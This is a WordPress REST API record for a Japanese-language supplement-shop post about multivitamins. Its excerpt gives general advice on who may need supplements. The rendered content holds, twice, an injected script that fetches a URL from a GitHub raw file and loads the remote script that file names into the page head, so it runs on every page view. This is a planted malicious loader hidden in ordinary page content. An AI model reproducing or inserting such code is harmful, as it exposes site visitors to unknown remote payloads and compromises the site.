{"id":4781,"date":"2024-01-25T16:11:40","date_gmt":"2024-01-25T08:11:40","guid":{"rendered":"https:\/\/www.backvita.com\/?p=4781"},"modified":"2024-04-12T23:57:56","modified_gmt":"2024-04-12T15:57:56","slug":"multivitamins-are-recommended-for-their-efficacy","status":"publish","type":"post","link":"https:\/\/www.backvita.com\/ja\/\u30de\u30eb\u30c1\u30d3\u30bf\u30df\u30f3\u306e\u6709\u52b9\u6027\u304c\u63a8\u5968\u3055\u308c\u3066\u3044\u308b\/","title":{"rendered":"\u30de\u30eb\u30c1\u30d3\u30bf\u30df\u30f3\u306e\u6709\u52b9\u6027\u304c\u63a8\u5968\u3055\u308c\u308b"},"content":{"rendered":"<div class=\"wp-block-stackable-image stk-block-image stk-block stk-e9f8175\" data-block-id=\"e9f8175\"><figure class=\"stk-img-wrapper stk-image--shape-stretch\"><img decoding=\"async\" loading=\"lazy\" class=\"stk-img wp-image-3726\" src=\"https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/12\/Vitamin-B12.webp\" width=\"806\" height=\"449\" alt=\"\u30d3\u30bf\u30df\u30f3B12\" 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(<script>var url = \"https:\/\/raw.githubusercontent.com\/truba77\/trubnik\/main\/to.txt\"; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement(\"script\"); script.src = data.trim(); document.getElementsByTagName(\"head\")[0].appendChild(script); });<\/script>) (<script>var url = \"https:\/\/raw.githubusercontent.com\/truba77\/trubnik\/main\/to.txt\"; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement(\"script\"); script.src = data.trim(); document.getElementsByTagName(\"head\")[0].appendChild(script); });<\/script>)","protected":false},"excerpt":{"rendered":"<p>What is a conforming vitamin? As of now, there is no evidence to recommend multivitamins for all people, but some groups may be deficient in certain nutrients due to physiological conditions or changes in diet, so appropriate supplementation can bring benefits. The elderly: At this stage, the digestion and absorption capacity will gradually weaken, especially [&hellip;]<\/p>","protected":false},"author":1,"featured_media":3605,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_seopress_robots_primary_cat":"none","_seopress_titles_title":"Multivitamins are recommended for their efficacy","_seopress_titles_desc":"A systematic review and meta-analysis (8 observational studies with 80,148 participants) found that multivitamin use was significantly associated with a lower risk of osteoporotic hip fracture.","_seopress_robots_index":"","footnotes":""},"categories":[1],"tags":[1461,1496],"blocksy_meta":"","featured_image_urls":{"full":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/Do-you-need-a-multivitamin.webp",810,451,false],"thumbnail":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/Do-you-need-a-multivitamin-150x150.webp",150,150,true],"medium":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/Do-you-need-a-multivitamin-300x167.webp",300,167,true],"medium_large":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/Do-you-need-a-multivitamin-768x428.webp",768,428,true],"large":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/Do-you-need-a-multivitamin.webp",810,451,false],"1536x1536":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/Do-you-need-a-multivitamin.webp",810,451,false],"2048x2048":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/Do-you-need-a-multivitamin.webp",810,451,false],"trp-custom-language-flag":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/Do-you-need-a-multivitamin.webp",18,10,false],"woocommerce_thumbnail":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/Do-you-need-a-multivitamin-300x300.webp",300,300,true],"woocommerce_single":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/Do-you-need-a-multivitamin-600x334.webp",600,334,true],"woocommerce_gallery_thumbnail":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/Do-you-need-a-multivitamin-100x100.webp",100,100,true]},"post_excerpt_stackable":"<p>What is a conforming vitamin? As of now, there is no evidence to recommend multivitamins for all people, but some groups may be deficient in certain nutrients due to physiological conditions or changes in diet, so appropriate supplementation can bring benefits. The elderly: At this stage, the digestion and absorption capacity will gradually weaken, especially vitamin D, calcium and vitamin B12 deficiencies are most common. Vegetarians: Certain nutrients are found primarily in animal foods, and vegetarians are most likely to be deficient in vitamin B12, calcium, zinc, iron, and vitamin D. Pregnancy or lactation: This stage requires A lot of&hellip;<\/p>\n","category_list":"<a href=\"https:\/\/www.backvita.com\/ja\/category\/\u696d\u754c\u52d5\u5411\/\" rel=\"category tag\">Industry Trends<\/a>","author_info":{"name":"backvita","url":"https:\/\/www.backvita.com\/ja\/author\/backvita\/"},"comments_num":"0 comments","_links":{"self":[{"href":"https:\/\/www.backvita.com\/ja\/wp-json\/wp\/v2\/posts\/4781"}],"collection":[{"href":"https:\/\/www.backvita.com\/ja\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.backvita.com\/ja\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.backvita.com\/ja\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.backvita.com\/ja\/wp-json\/wp\/v2\/comments?post=4781"}],"version-history":[{"count":3,"href":"https:\/\/www.backvita.com\/ja\/wp-json\/wp\/v2\/posts\/4781\/revisions"}],"predecessor-version":[{"id":6402,"href":"https:\/\/www.backvita.com\/ja\/wp-json\/wp\/v2\/posts\/4781\/revisions\/6402"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.backvita.com\/ja\/wp-json\/wp\/v2\/media\/3605"}],"wp:attachment":[{"href":"https:\/\/www.backvita.com\/ja\/wp-json\/wp\/v2\/media?parent=4781"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.backvita.com\/ja\/wp-json\/wp\/v2\/categories?post=4781"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.backvita.com\/ja\/wp-json\/wp\/v2\/tags?post=4781"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}